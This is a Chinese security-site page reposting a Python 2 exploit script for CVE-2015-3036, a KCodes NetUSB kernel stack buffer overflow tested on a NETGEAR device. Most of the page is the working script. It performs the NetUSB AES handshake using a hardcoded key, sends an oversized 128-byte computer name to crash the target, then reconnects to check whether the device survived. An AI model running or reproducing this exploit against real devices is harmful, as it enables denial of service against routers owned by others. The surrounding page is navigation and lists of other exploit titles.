首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NetUSB Kernel Stack Buffer Overflow
来源:http://www.funsecurity.net 作者:Bermudo 发布时间:2015-11-02  
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: NetUSB Kernel Stack Buffer Overflow
# Date: 9/10/15
# Exploit Author: Adrian Ruiz Bermudo
# Vendor Homepage: http://www.kcodes.com/
# Version: Multiple: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt
# Tested on: NETGEAR DC112A
# CVE : CVE-2015-3036
 
import socket
import sys
import random
import string
import time
import struct
from Crypto.Cipher import AES #pip install pycrypto
 
DOS_BYTES = 128 #BoF
TIMEOUT = 5
RECV_SIZE = 16
PORT_DEFAULT = 20005
 
AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"
 
print "#"
print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"
print "# CVE-2015-3036"
print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"
print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"
print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"
print "#"
print ""
 
if len(sys.argv) >= 2:
    try:
        target = sys.argv[1]
        try:
            port = int(sys.argv[2])
        except Exception as detail:
            port = PORT_DEFAULT
         
        #Inicialización de la conexión.
        init = "\x56\x05"
        #Datos aleatorios para el handshake
        randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))
        #Nombre del equipo con 128 carácteres para provocar DoS.
        computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))
        #Longitud del nombre del equipo - "\x80\x00\x00\x00"
        lengthComputerName = struct.pack("i", DOS_BYTES);
        #Sync - "\x07\x00\x00\x00"
        syncOK = struct.pack("i", 7);
        #Finalización de la conexión.
        end = "\x01"
 
        encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")
        randomDataCrypt1 = encryption_suite.encrypt(randomData)
 
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(TIMEOUT)
 
        print "Conectando:", target,":",port
        sock.connect((target, port))
        print "Conectado"
        print "----------------"
 
        print "Inicializando:", init.encode("hex")
        sock.send(init)
        print "Random data para cifrar por el servidor:", randomData.encode("hex")
        sock.send(randomData)
        print "----------------"
 
        result = sock.recv(RECV_SIZE)
        print "Random data cifrados por el servidor:", result.encode("hex")
        print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")
        if (randomDataCrypt1 == result):
            print "Handshake OK"
            randomData = sock.recv(RECV_SIZE)
            print "Random data a cifrar por el cliente:", randomData.encode("hex")
            randomDataCrypt2 = encryption_suite.encrypt(randomData)
            print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")
            print "----------------"
            sock.send(randomDataCrypt2)
            print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")
            sock.send(lengthComputerName)
            print "Nombre del host a parear:", computerName.encode("hex")
            sock.send(computerName)
            print "----------------"
 
            print "Sync: ", syncOK.encode("hex")
            sock.send(syncOK)
            if (sock.recv(RECV_SIZE) == syncOK):
                print "Sync ok"
                sock.send(end)
                try:
                    #Esperamos unos segundos antes de conectar
                    time.sleep(TIMEOUT)
                    #Comprobamos si el dispositivo sigue vivo...
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(TIMEOUT)
                    sock.connect((target, port))
                    print "No vulnerable"
                except Exception as detail:
                    print "Vulnerable, exploit OK"
            else:
                print 'Sync error.'
    except Exception as detail:
        print "Error de comunicación:", detail
else:
    print "Usage:", sys.argv[0], "target [port]"
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sam Spade 1.14 - Scan From IP
·AIX 7.1 - lquerylv Local Privi
·Samsung SecEmailUI Script Inje
·Gold MP4 Player - .swf Local E
·Mac OS X 10.9.5 / 10.10.5 rsh/
·Python 2.7 hotshot Module - pa
·Th3 MMA mma.php Backdoor Arbit
·Python 2.7 array.fromstring Me
·MacOS X 10.11 Hardlink Resourc
·Python 2.7 strop.replace() Met
·MacOS X 10.11 FTS Buffer Overf
·Python 3.3 - 3.5 product_setst
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved